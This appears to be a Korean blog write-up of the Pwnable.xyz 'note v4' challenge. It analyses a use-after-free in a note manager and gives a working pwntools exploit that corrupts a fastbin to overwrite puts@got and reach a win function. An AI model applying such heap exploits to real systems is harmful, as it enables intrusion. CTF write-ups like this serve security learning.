tmxklab

[Pwnable.xyz] note v4 본문

War Game/Pwnable.xyz

[Pwnable.xyz] note v4

tmxk4221 2020. 9. 9. 22:35

1. 문제

nc svc.pwnable.xyz 30046

 

1) mitigation 확인

 

2) 문제 확인

 

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int running; // [rsp+8h] [rbp-8h]

  running = 1;
  setup();
  show_banner();
  init_first_note();
LABEL_8:
  while ( running )
  {
    show_menu();
    printf("> ");
    switch ( (unsigned __int64)(unsigned int)get_int() )
    {
      case 1uLL:
        create_notes();
        break;
      case 2uLL:
        select_note();
        break;
      case 3uLL:
        edit_selected_note();
        break;
      case 4uLL:
        delete_selected_note();
        break;
      case 5uLL:
        running = 0;
        break;
      default:
        goto LABEL_8;
    }
  }
  puts("Bye...");
  return 0;
}

 

3-2) create_notes()

void __cdecl create_notes()
{
  int i; // [rsp+0h] [rbp-10h]
  int count; // [rsp+4h] [rbp-Ch]
  Note *lastNote; // [rsp+8h] [rbp-8h]

  printf("How many notes do you want to create: ");
  count = get_int();
  if ( count + NoteCount > 199 )
  {
    puts("Not enough space left in your notebook...");
  }
  else
  {
    for ( lastNote = (Note *)&FirstNote; lastNote->Next; lastNote = lastNote->Next )
      ;
    for ( i = 0; i < count; ++i )
    {
      lastNote->Next = (Note *)malloc(0x50uLL);
      lastNote = lastNote->Next;
      init_note(lastNote);
    }
  }
}
  • count만큼 note를 생성하는데 single linked list구조로 보인다.
  • note의 청크 크기는 0x50만큼 할당되는데 고정됨

 

3-3) select_note()

void __cdecl select_note()
{
  int index; // [rsp+4h] [rbp-Ch]

  printf("Which note do you want to select: ");
  index = get_int();
  if ( find_note(index) )
  {
    CurrentNote = index;
  }
  else
  {
    CurrentNote = -1LL;
    puts("This note doesn't exist...");
  }
}
  • 선택한 인덱스를 CurrentNote(전역변수)에 저장

 

3-4) edit_selected_note()

void __cdecl edit_selected_note()
{
  Note *note; // [rsp+8h] [rbp-8h]

  if ( CurrentNote == -1 )
  {
    puts("Please select a note first...");
  }
  else
  {
    note = find_note(CurrentNote);
    printf("Enter content for note %d: ", CurrentNote);
    fgets(note->Data, 96, _bss_start);
  }
}
  • CurrentNote에 저장된 값을 통해 note를 찾아 data를 수정한다.

 

3-5) delete_selected_note()

void __cdecl delete_selected_note()
{
  Note *note; // [rsp+8h] [rbp-8h]

  if ( CurrentNote == -1 )
  {
    puts("Please select a valid note first...");
  }
  else
  {
    note = find_note(CurrentNote);
    if ( note )
    {
      free(note->Data);
      free(note);
      CurrentNote = -1LL;
      --NoteCount;
    }
  }
}
  • note→data와 note를 free하고 CurrentNote를 -1로 초기화 및 NoteCount1씩 감소
  • free되었음에도 unlink하는 부분과 널 값을 넣는 부분이 존재하지 않아 DFB가 발생할 수 있다.

 

3-6) init_note()

void __cdecl init_note(Note *note)
{
  int v1; // eax

  note->Data = (char *)malloc(0x60uLL);
  v1 = NoteCount++;
  note->Index = v1;
  printf("Created note: %d\n", (unsigned int)note->Index);
}
  • note→data에 0x60만큼 메모리할당하는데 고정됨

 

전역변수)

  • CurrentNote(0x6022a0) : Note의 인덱스
  • FirstNote(0x6022c0) : linked list(Note)의 첫 번째 head를 나타냄
  • NoteCount(0x602310) : Note에 연결된 노드의 개수

 

Note 구조체)


2. 접근방법

 

1) 청크 구조 확인

노드를 3개 추가했을 때 구조(single linked list)

  • FristNote를 포함해 총 4개의 노드가 존재하며 현재 CurrentNote를 지정하지 않았기에 인덱스 값이 -1로 초기화되어 있다.

  • FirstNote : 0x6022c0, FirstNote→data : 0x603010, FirstNote→next : 0x603080
  • node[1] : 0x603080, node[1]→data : 0x6030e0, node[1]→next : 0x603150
  • node[2] : 0x603150, node[2]→data : 0x6031b0, node[2]→next : 0x603220
  • node[3] : 0x603220, node[3]→data : 0x603280, node[3]→next : 0x0

그리고 각 노드로부터 0x40떨어진 곳에 자신의 인덱스 값이 저장되어 있다.

 

 

2) 노드 한 개를 제거했을 때 상황

위 코드에서 봤듯이 노드를 제거해도 unlink하는 부분이 없다.

  • node[2]가 제거되었음에도 linked list구조에서 unlink되지 않고 계속 사용된다.
  • 따라서 free된 청크에 값을 쓸 수 있음

 

fastbin dup를 사용해도 되고 uaf를 이용해도 문제를 풀어도 된다.

처음에 fastbin dup를 이용해서 문제를 풀기로했는데

현재 fastbin[5]에 있는 값을 가져다 써야한다. 그러기 위해선 size가 0x70 ~ 0x78이고 got overwrite하기 좋은 위치에 fake chunk가 존재해야 하는데 발견하지 못해서 다른 방법을 이용하기로 하였다.

(여기서 free_hook에 overwrite하려고 했는데 leak할 만한 것도 보이지 않아서 고민하다가 다른 사람 롸업 보면서 좀 더 쉬운 방법을 이용하였다. fastbin dup가능할 것 같은데... ㅠㅠ)

 

 

3) uaf를 이용하여 문제풀이

먼저, 선택한 node의 인덱스가 들어가는 CurrentNote전역변수 밑에는 FirstNote가 존재한다. 그리고 createNotes()를 통해서 최대 0xc8개의 node를 생성할 수 있다. 이 점을 이용하여 재할당 받을 수 있는 size에 맞게 fake chunk를 생성할 것이다.

 

 

[ 1단계 ]

  • 하나의 청크를 생성 및 제거하여 fastbin에 들어간 상태이다.
  • 또한, 0x71만큼 노드를 생성하고 0x71인덱스의 노드를 선택한 상황이다.

 

 

[ 2단계 ]

0x71인덱스의 노드에서 데이터를 저장하는 청크의 fd값을 변경

  • free된 청크에 값을 작성할 수 있으므로 fd값을 0x602298(CurrentNote-0x8)로 변경

  • fastbin[5]에 2개의 bin이 들어있고 마지막은 0x602298의 청크를 재할당하는데 사용된다.

 

[ 3단계 ]

2개의 청크를 생성하여 fastbin[5]의 마지막 bin인 0x602298을 재할당하는데 사용한다. 이후에 0x602298(CurrentNote)에 값을 쓸 수 있으므로 CurrentNote밑에 존재하는 FirstNote에 puts@got 값을 작성한다. 마지막은 overwrite

  • 마지막으로 재할당 받은 0x602298의 청크가 note의 list에 등록된 것을 확인할 수 있다.

  • 0x602298청크를 이용하여 FirstNote에 puts@got값을 써준다.
  • 그러면 이제 FirstNote를 이용하여 puts@got에 값을 쓸 수 있다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30046)
#gdb.attach(p)

win = e.symbols['win']
puts_got = e.got['puts']

def create(count):
	p.sendlineafter("> ", str(1))
	p.sendlineafter(": ", str(count))

def edit(index, data):
	p.sendlineafter("> ", str(2))
	p.sendlineafter(": ", str(index))
	p.sendlineafter("> ", str(3))
	p.sendlineafter(": ", data)

def delete(index):
	p.sendlineafter("> ", str(2))
	p.sendlineafter(": ", str(index))
	p.sendlineafter("> ", str(4))
	

create(0x71)
delete(0x71)

# 1. create fake chunka(CurrentNote-0x8)
edit(0x71, p64(0x6022a0-0x8))

# 2. overwrite (FirstNote->data) = puts@got
create(2)
edit(0x72, p64(0x0)*5+p64(puts_got))

edit(0, p64(win))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

힛콘 트레이닝이랑 HackCTF문제에서 힙 관련 문제를 몇 번 풀어봤는데 기법에 너무 의존하는 것 같다. 

앞으로 기법에 의존하기 보다는 로직을 완벽히 이해하고 분석능력을 키워서 이번 문제처럼 어떻게 문제를 올바른 방향으로 해결할지 고민을 많이 해보도록 해야겠다.

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] AdultVM2  (0) 2020.09.09
[Pwnable.xyz] AdultVM  (0) 2020.09.09
[Pwnable.xyz] fishing  (0) 2020.09.09
[Pwnable.xyz] knum  (0) 2020.09.09
[Pwnable.xyz] PvE  (0) 2020.09.09
Comments